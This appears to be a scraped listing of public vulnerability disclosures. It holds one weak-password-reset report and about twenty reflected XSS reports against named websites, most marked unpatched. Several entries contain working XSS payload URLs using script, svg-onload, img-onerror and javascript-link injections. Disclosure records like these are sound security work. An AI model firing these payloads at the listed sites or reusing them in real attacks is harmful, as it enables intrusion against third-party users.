Revive Adserver: Weak Forgot Password implementation

"Cricetinae" : Short Description The Forgot Password is missing a several industry best practices. I strongly believe due to the level of the access given after a successful exploitation, the implementation could have been better. Vulnerability Details Referring to OWASP Standards and guidelines...

ariawellness.com XSS vulnerability

Vulnerable URL: http://www.ariawellness.com/staging/js/fonts/jadecondensed.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:|...

tradition-in-holz.at XSS vulnerability

Vulnerable URL: http://tradition-in-holz.at/scripts/sifr/sifr.swf?txt=%3Ca%20href=%22javascript:alert%28/OPENBUGBOUNTY/%29%22%3Eclick%20me!%3C/a%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclos...

elta.tv XSS vulnerability

Vulnerable URL: http://www.elta.tv/food/restaurant-search.php?keyword=OPENBUGBOUNTY" autofocus onfocus=prompt"OPENBUGBOUNTY" " Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 218510...

mn.gov XSS vulnerability

Vulnerable URL: https://mn.gov/admin/search/?query=%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3B%3C%2Fscript%3E++%3Asources=mn-admin-live=&binning-state;==%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3B%3C%2Fscript%3E+=mn-admin-live= Details: Description| Value ---|--- Patched:| Yes, at Vulnerabili...

spawacz.pl XSS vulnerability

Vulnerable URL: http://spawacz.pl/pl/wyniki-wyszukiwania/?searcherphrase=%27;alert/XSSPOSED///%27;alert/XSSPOSED///%22;alert/XSSPOSED///%22;alert/XSSPOSED///--%3E%3C/sCRipT%3E%22%3E%27%3E%3CsCRipT%3Ealert/XSSPOSED/%3C/sCRipT%3E=0 Details: Description| Value ---|--- Patched:| No Latest check for...

onebank.com.bd XSS vulnerability

Vulnerable URL: https://www.onebank.com.bd/aITdo/edit-br.php?id= Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 19:02 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 790041 VIP website status:| No Check...

cadaplus.com XSS vulnerability

Vulnerable URL: https://cadaplus.com/search.php?lang=it=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 789139 VIP website status:| No Check cadaplus.com SSL connection:| Grade: B...

totallyhayward.com XSS vulnerability

Vulnerable URL: https://www.totallyhayward.com/login.cfm? Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 2664128 VIP website status:| No Check totallyhayward.com SSL connection:|...

zuoda.net XSS vulnerability

Vulnerable URL: http://www.zuoda.net/search.php?q=%22%3E%3Csvg/onload=alert%27OPENBUGBOUNTY%27%3E%3C Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 7508306 VIP website status:| No...

basket-shop.cz XSS vulnerability

Vulnerable URL: http://www.basket-shop.cz/vyhledavani?search=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

az.pl XSS vulnerability

Vulnerable URL: https://www.az.pl/www/wp-admin/admin-ajax.php Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 38583 VIP website status:| Yes Check az.pl SSL connection:| Grade: B Coordinated Disclosure Timeline:...

my.monsterindia.com XSS vulnerability

Vulnerable URL: https://my.monsterindia.com/login.html?randck= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check my.monsterindia.com SSL connection:| Grade: B...

my.monster.com.my XSS vulnerability

Vulnerable URL: https://my.monster.com.my/login.html?randck= Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check my.monster.com.my SSL connection:| Grade: B...

volan.si XSS vulnerability

Vulnerable URL: http://volan.si/iskalnik/?/%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 907016 VIP website...

emmentaler-jodler.ch XSS vulnerability

Vulnerable URL: http://www.emmentaler-jodler.ch/infos.php?id=41" Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 11:47 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

maximus-auto.ru XSS vulnerability

Vulnerable URL: http://maximus-auto.ru/Search/default/fSearch?marka===1974=2015=1000=%22%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/XSSPOSED/%3E1=12=13=14=0 Details: Description| Value ---|--- Patched:| Yes, at 05.02.2017 Latest check for patch:| 05.02.2017 23:19 GMT Vulnerability type:| XSS...

sheacenter.org XSS vulnerability

Vulnerable URL: https://www.sheacenter.org/video.php?title=%22%3E%3Csvg/onload=alert/OPENBUGBOUNTY/%3E=SheaAdamFull.flv=trueiframe=true=570=770 Details: Description| Value ---|--- Patched:| Yes, at 24.11.2017 Latest check for patch:| 24.11.2017 18:56 GMT Vulnerability type:| XSS Vulnerability...

aqmaintl.com XSS vulnerability

Vulnerable URL: http://aqmaintl.com/search.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 18777201 VIP website status:| No Check aqmaintl.com SSL connection:| Grade: B+...

u-cergy.fr XSS vulnerability

Vulnerable URL: https://www.u-cergy.fr/fr/rechercher-dans-le-site.html Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 98921 VIP website status:| No Check u-cergy.fr SSL connection:| Grade: B Coordinated Disclosu...